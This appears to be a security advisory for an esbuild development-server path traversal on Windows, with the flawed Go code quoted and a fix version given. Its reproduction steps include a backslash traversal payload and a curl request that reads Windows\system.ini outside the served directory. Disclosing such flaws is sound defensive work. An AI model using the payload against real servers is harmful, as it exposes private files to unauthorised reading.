---
id: GHSA-g7r4-m6w7-qqqr
title: >-
  esbuild allows arbitrary file read when running the development server on
  Windows
summary: >-
  esbuild allows arbitrary file read when running the development server on
  Windows
severity: low
cvss: 2.5
cwe:
  - CWE-22
vendor: esbuild
product: esbuild
ecosystem: npm
affected:
  - 'esbuild >= 0.27.3, < 0.28.1'
patched:
  - esbuild 0.28.1
published: '2026-06-12'
updated: '2026-06-12'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-g7r4-m6w7-qqqr'
references:
  - url: 'https://github.com/evanw/esbuild/security/advisories/GHSA-g7r4-m6w7-qqqr'
  - url: 'https://github.com/evanw/esbuild/releases/tag/v0.28.1'
  - url: 'https://github.com/advisories/GHSA-g7r4-m6w7-qqqr'
tags:
  - ghsa
  - npm
ingestedAt: '2026-07-07T15:41:59.000Z'
---

## Overview

### Summary

The development server contains a path traversal vulnerability on Windows when serving files from `servedir`.

Due to the use of `path.Clean()` (which only normalizes forward-slash `/` separators) instead of a Windows-aware path normalization function, it is possible to craft requests using backslashes (`\`) that bypass the intended directory containment logic. An attacker can escape the configured `servedir` root and access arbitrary files on the filesystem.
This issue affects Windows environments only.

### Details

The request path is sanitized using:
```go
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165
queryPath := path.Clean(req.URL.Path)[1:]
```


However:
- `path.Clean()` is POSIX-style and only understands `/` (docs: `https://pkg.go.dev/path#Clean`)
- On Windows, `\` is a valid path separator
- `path.Clean()` does not treat `\` as a separator

Later, the server constructs the absolute path:
```go
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L221
absPath := h.fs.Join(h.servedir, queryPath)
```

If `queryPath` contains sequences such as:
```
..\..\..\..\..\..\..\Windows\system.ini
```

`path.Clean()` will not normalize them, but the Windows filesystem will interpret `\` as directory separators when resolving `absPath`.
Because the implementation does not verify that the final resolved path remains within `servedir`, it allows directory traversal outside the intended root directory.
### Vulnerable Code

```go
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165
	queryPath := path.Clean(req.URL.Path)[1:]
	....
	// Check for a file in the "servedir" directory
	if h.servedir != "" && kind != fs.FileEntry {
		absPath := h.fs.Join(h.servedir, queryPath)
		if absDir := h.fs.Dir(absPath); absDir != absPath {
			if entries, err, _ := h.fs.ReadDirectory(absDir); err == nil {
				if entry, _ := entries.Get(h.fs.Base(absPath)); entry != nil && entry.Kind(h.fs) == fs.FileEntry {
	....				
```


### Steps to reproduce

```
npm install --save-exact --save-dev esbuild

echo "console.log(1)" > app.js

.\node_modules\.bin\esbuild --version
0.27.3

.\node_modules\.bin\esbuild app.js --bundle --outdir=www --servedir=www --watch

curl -i --path-as-is "http://localhost:8000/..\..\..\..\..\..\..\Windows\system.ini"
<content of Windows\system.ini>
```


### Impact

- Arbitrary file read on Windows
- Exposure of sensitive files

## Affected packages

- `esbuild >= 0.27.3, < 0.28.1`

## Remediation

Upgrade to a patched release:

- `esbuild 0.28.1`
